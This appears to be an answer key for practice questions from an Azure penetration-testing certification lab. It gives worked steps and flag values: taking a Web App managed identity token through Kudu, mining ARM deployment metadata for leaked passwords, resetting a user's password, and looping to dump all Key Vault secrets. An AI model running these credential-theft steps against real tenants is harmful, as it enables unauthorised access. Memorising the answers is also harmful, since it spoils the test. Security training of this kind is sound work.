CCPenX-Az Practice Questions

The answer is the exposed provisioning secret retrieved from ARM deployment metadata, deployment operations, or App Service configuration. In this lab chain, it should reveal the next user credential, commonly for:

sumit.siddharth@azuresecops.onmicrosoft.com

Detailed Solution:

The key point is this: you are no longer only using Alex’s user permissions. You must use the Web App managed identity .

From the Web App runtime/Kudu console, request an access token for Azure Resource Manager.

For Linux-style shell:

curl " $IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/ & client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df " \

-H " X-IDENTITY-HEADER: $IDENTITY_HEADER "

For Windows PowerShell inside Kudu:

$uri = " $env:IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/ & client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df "

$response = Invoke-RestMethod -Uri $uri -Headers @{

" X-IDENTITY-HEADER " = $env:IDENTITY_HEADER

}

$token = $response.access_token

Now use the token to query Azure Resource Manager.

$sub = " 7403ec86-c39d-4d80-9efa-35c7580ecefa "

$rg = " Excalibur-Resources "

Invoke-RestMethod `

-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/resources?api-version=2021-04-01 " `

-Headers @{ Authorization = " Bearer $token " }

Next, enumerate ARM deployments.

Invoke-RestMethod `

-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources/deployments?api-version=2021-04-01 " `

-Headers @{ Authorization = " Bearer $token " }

For each deployment name returned, inspect it:

$deploymentName = " < deployment-name > "

Invoke-RestMethod `

-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources/deployments/$deploymentName?api-version=2021-04-01 " `

-Headers @{ Authorization = " Bearer $token " }

Also check deployment operations:

Invoke-RestMethod `

-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources/deployments/$deploymentName/operations?api-version=2021-04-01 " `

-Headers @{ Authorization = " Bearer $token " }

Search the output for fields like:

password

secret

adminPassword

userPassword

credential

sumit

The exposed value is the answer to Q4.

A practical one-liner on Linux would be:

curl -s -H " Authorization: Bearer $TOKEN " \

" https://management.azure.com/subscriptions/7403ec86-c39d-4d80-9efa-35c7580ecefa/resourceGroups/Excalibur-Resources/providers/Microsoft.Resources/deployments/ < deployment-name > /operations?api-version=2021-04-01 " \

| jq ' .. | strings ' | grep -iE ' password|secret|credential|sumit|flag '

Final Answer:

Use the leaked secret/password value returned from the deployment metadata. Do not guess this; it is lab-generated.

================

Flag{92c8bfe4a73f48a6bd94e62fca2179dd}

Detailed Solution:

As the second compromised user, enumerate directory users:

az ad user list --output table

Use a cleaner query to show names, UPNs, and job titles:

az ad user list \

--query " [].{DisplayName:displayName,UPN:userPrincipalName,JobTitle:jobTitle} " \

--output table

You should identify a target user whose profile contains a flag in the jobTitle attribute.

The important target is:

lila.nguyen@azuresecops.onmicrosoft.com

Her jobTitle field contains:

Flag{92c8bfe4a73f48a6bd94e62fca2179dd}

Because the compromised user has User Administrator, you can reset this target user’s password and later authenticate as her.

Final Answer:

Flag{92c8bfe4a73f48a6bd94e62fca2179dd}

================

Flag{app_settings_should_not_store_secrets}

Detailed Solution:

Query App Service settings:

az webapp config appsettings list \

--name finance-reporting-api \

--resource-group rg-prod-apps-eastus \

--output json

Search for suspicious keys:

az webapp config appsettings list \

--name finance-reporting-api \

--resource-group rg-prod-apps-eastus \

--query " [?contains(name, ' FLAG ' ) || contains(name, ' Flag ' ) || contains(name, ' SECRET ' )] " \

--output table

Expected output:

Name SlotSetting Value

---------- ------------- ----------------------------------------

APP_FLAG False Flag{app_settings_should_not_store_secrets}

The flag is:

Flag{app_settings_should_not_store_secrets}

================

Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2}

Detailed Solution:

Start by listing all Azure resources accessible to the compromised user.

az resource list --output table

The environment exposes at least these resources:

RnD-Tools Excalibur-Resources ukwest Microsoft.Web/sites

WebAppTokenIdentity Excalibur-Resources ukwest Microsoft.ManagedIdentity/userAssignedIdentities

The most interesting target is the App Service:

RnD-Tools

Web Apps often store configuration values in App Settings. These commonly contain secrets, flags, API keys, connection strings, or credentials.

Query the App Service application settings:

az webapp config appsettings list \

--name RnD-Tools \

--resource-group Excalibur-Resources \

--output json

Look for keys such as:

Flag

secret

password

token

connectionString

clientSecret

The exposed app setting contains:

{

" name " : " Flag " ,

" slotSetting " : false,

" value " : " Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2} "

}

Final Answer:

Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2}

================

The answer is the final Flag{...} value stored in Azure Key Vault and readable by the compromised App Registration.

Detailed Solution:

Stay authenticated as the service principal from Q10.

az account show

List visible Key Vaults:

az keyvault list --output table

If only one vault is returned, use it directly. If multiple vaults exist, enumerate all of them.

for kv in $(az keyvault list --query " [].name " -o tsv); do

echo " ===== $kv ===== "

az keyvault secret list \

--vault-name " $kv " \

--output table

done

Once you identify secret names, retrieve their values:

az keyvault secret show \

--vault-name < vault-name > \

--name < secret-name > \

--query value \

--output tsv

To dump all readable secrets from all visible vaults:

for kv in $(az keyvault list --query " [].name " -o tsv); do

echo " ===== Vault: $kv ===== "

for sec in $(az keyvault secret list --vault-name " $kv " --query " [].name " -o tsv); do

echo " ----- Secret: $sec ----- "

az keyvault secret show \

--vault-name " $kv " \

--name " $sec " \

--query value \

--output tsv

done

done

Look for the final value in this format:

Flag{...}

That returned secret value is the final tenant flag.

Final Answer:

Use the Flag{...} value returned by az keyvault secret show.

Flag{managed_identity_can_read_keyvault_secrets}

Detailed Solution:

List Key Vaults:

az keyvault list --output table

List secrets:

az keyvault secret list \

--vault-name kv-finance-prod \

--output table

Expected output:

Name Enabled

---------------- --------

db-password True

api-token True

internal-flag True

Retrieve the flag secret:

az keyvault secret show \

--vault-name kv-finance-prod \

--name internal-flag \

--query value \

--output tsv

Expected value:

Flag{managed_identity_can_read_keyvault_secrets}

Azure Key Vault can use Azure RBAC for secrets, keys, and certificates, including data-plane secret access.

================